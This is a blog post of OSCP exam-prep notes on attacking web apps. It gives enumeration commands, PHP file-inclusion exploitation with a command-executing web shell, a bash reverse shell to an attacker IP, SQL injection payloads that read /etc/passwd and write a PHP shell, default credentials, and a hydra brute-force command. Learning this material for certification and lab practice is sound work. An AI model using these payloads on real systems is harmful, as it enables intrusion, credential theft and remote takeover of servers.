Hacking the OSCP: Web Apps

Having recently completed the required exercises for locking-in bonus points on the exam, I thought I’d share some of the lessons I’ve learned through reacquainting myself with the repeatable processes used to uncover footholds and climb over the walls in the labs.

The Offensive Security PEN-200 course progress list

That said - as I stated in my original “Hacking the OSCP” blog post: there is no substitute for practice. Or doing the exercises. Or spending some time reading through chapters on content you’re less familiar with. The notes shared in this post represent the most useful and repeatable steps within my process - but are by no means comprehensive. The only way to truly build the habits and confidence you need in order to be successful is to do the work.

Enumerate the Site Automatically

When I first discover open ports 80, 8080, 443, 8443, 3306, etc. as part of my recon process one of the first tools I run is Nikto:

nikto -host=http://website-ip/or-domain -maxtime=30m -o <output-file>

Depending on the type of site (like if it’s a WordPress website) I would instead run WPScan:

wpscan --url http://website-ip/or/domain -U 'username1,username2' --enumerate u

Regardless of the type of site, I’ll usually try running some directory busting tools such as dirb, gobuster, and ffuz:

Using dirb (-r to scan non-recursively, -z # to add ms timeout):

dirb http://<site-address> -r -z 10

Using gobuster for directory discovery:

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt \\
-s '200,204,301,302,307,403,500' -u http://<ip-address> | \\
tee -a <filename>

gobuster file / endpoint enumeration

gobuster dir -u http://<ip-address>/ \\
-w /usr/share/seclists/Discovery/Web-Content/CGIs.txt \\
-s '200,204,301,302,307,403,500' -e | tee -a <filename>

ffuf fuzzing directories recursively

ffuf -c -w \\
/usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt \\
-u <http://$IP>:$PORT/FUZZ -recursion -recursion-depth 2

Enumerate the Site Manually

While my automated scans are running in a terminal screen session, I’m usually walking the site manually with Burp Suite proxying requests so that I better understand the layout of the site. Here are a few things I look for:

What information can I gather from the URL?

.jsp .do .html (Java) and .php all tell you a lot about what language(s) are being used

Using the Browser Debugger

ctrl + shift + K for Firefox (or Web Developer menu)

Looking for hidden values / fields

Search for input ’s in the source code

Take a look at the Response Headers

Debugger → Network tab → Headers sub-tab

Inspect Sitemaps

curl https://<site-address>/robots.txt

curl https://<site-address>/sitemap.xml

Get site version information

curl -i <ip-address>

Reading the website in Terminal

curl <ip address> -s -L | html2text -width '<numb>" | uniq

Common Administration console locations

/manager/html for Tomcat → MySQL

/phpmyadm for phpMyAdmin panels

This content was written by a human being; If you find it useful, enjoyable, or influential (and have the coin to spare) - you can support my work via Patreon.️ Thank you to those who already support this blog! 😊 And now, back to that organic content you were enjoying! 🎉

Hacking PHP apps

PHP applications, at least in the context of the OSCP labs, are notorious for having local and/or remote file inclusion vulnerabilities Local file inclusion (LFI) is commonly exploited using directory traversal techniques.

Browse to your target destination (Linux example)


Using the RFC for PHP, you can find wrappers that let you perform commands (such as data) as follows:

LFI.php?file=data:text/plain,<base64 encoded string>


Generating a base64 string and place it after the plain,

echo -n 'command' | base64

Using curl command, you can upload files

curl -X PUT -T "$pwd/filename.ext" "http:/$IP:$PORT/dir/filename.ext

Switching to testing for RFI, create a File Inclusion test by writing a local file (like a .php ) *


Note: If you write a .txt file the web server might still execute the file’s contents.

Test for a Remote File Inclusion


First search for PHP functions on the web server that are disabled

disable_functions will tell you what is disabled on the remote server.

Add exploitation code to your script:

echo exec($_GET['cmd']);

Attempt to exploit Remote File Inclusion

RFI.php?file=http://<tun0-ip-address>:<port>/file.php&cmd=<bash commands>

Get a Reverse Shell

echo exec("bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'");

Hacking WordPress apps

Usually my automated enumeration will start finding interesting endpoints for further exploitation, such as the common endpoints wp-admin, wp-content, and wp-includes. You can also use wpscan to enumerate things further:

Scanning for all plugins, themes, config backups, and database exports:

wpscan --url http://site-ip/domain --enumerate ap,at,cb,dbe

From here I usually turn to searchsploit to find exploits against the results uncovered with the above scan. Do you research (Google search) about the exploit and how to use it, and proceed from there.

WordPress Theme Shell

Editing theme for Reverse Shell

SQL Injection Techniques

First, some important links to useful documentation in the exploit process:

My absolute favorite technique for bypassing logins via the password field:

' OR '1'='1

Note that this always resolves as true , and successfully terminates the query without manipulating the rest of the SQL string.

MySQL Attacks

UNION Select Shell Injection

Attacking MySQL / MariaDB

The ' character can terminate a SQL string and then be exploited

End a query with the # character

Look for things like Password Reset tokens

You’ll need to find the exact same number of columns via ORDER BY techniques

SELECT <column>, <column>, FROM <table>, ORDER BY <number> #

Note: ORDER BY will throw an error when you go beyond the number of columns

Enumerating Tables and Columns with INFORMATION_SCHEMA

' UNION SELECT TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.columns #

Selecting the Schema to search

' UNION SELECT TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.columns WHERE TABLE_SCHEMA != "<removed_schema>"#

Note: you can remove things like “mysql”

Getting Shell with SQL Injection

In MySQL there is a privilege called priv_file

' UNION SELECT file_priv,<c2>,<c3> FROM mysql.user where user="<user>"

Note: <c#> represents the column

Need to check for secure_file_priv to determine exploitability

' UNION SELECT @secure_file_priv,<c2>,<c3> #

Note: If the variable is empty when it returns, it is insecure

Try to Read a file

' UNION SELECT load_file("/etc/passwd"),2,3 #

Try to Write to a file

' UNION SELECT 1,2,3 into outfile “/tmp/test.txt” #

Write a Shell to a File (need LFI / external file access to use)

' UNION SELECT <? php system(GET[\\"cmd\\"]); ?>",2,3 into outfile "/writeable/directory/remotely.php" #

Other techniques to consider

Does the website have a login using default credentials?

PHPMyAdmin → root/<blank>

Tomcat → tomcat/tomcat



Can I brute force the login page with hydra?

hydra -l username -P wordlist.txt $IP http-post-form \
"/path/to/page.html:Action=Login&RequestedURL=&Lang=en&TimeOffset=240&User=^USER^&Password=^PASS^:F=Login failed! Your user name or password was
entered incorrectly."```

Target a list of usernames with -L flag

Target a list of passwords with -P flag

Target other services by using ftp://IP-addr or ssh://IP-addr

Limit the number of threads with -t #

Is the site running Apache/Tomcat?

HackTricks Tomcat cheatsheet

And with that - as always, thanks again for stopping by to read my pseudo-random musing 😊 While I draft my next blog post, you can git checkout other (usually off-topic) content I’m reading over at Instapaper - or go back and read my original “Hacking the OSCP” blog post for life lessons that the OSCP can’t teach you.

Until next time, remember to git commit && stay classy!


Keith // securingdev

If you found this post useful or interesting, I invite you to support my content through Patreon 😊 and thanks once again to those who support this content!

This post is licensed under CC BY 4.0 by the author.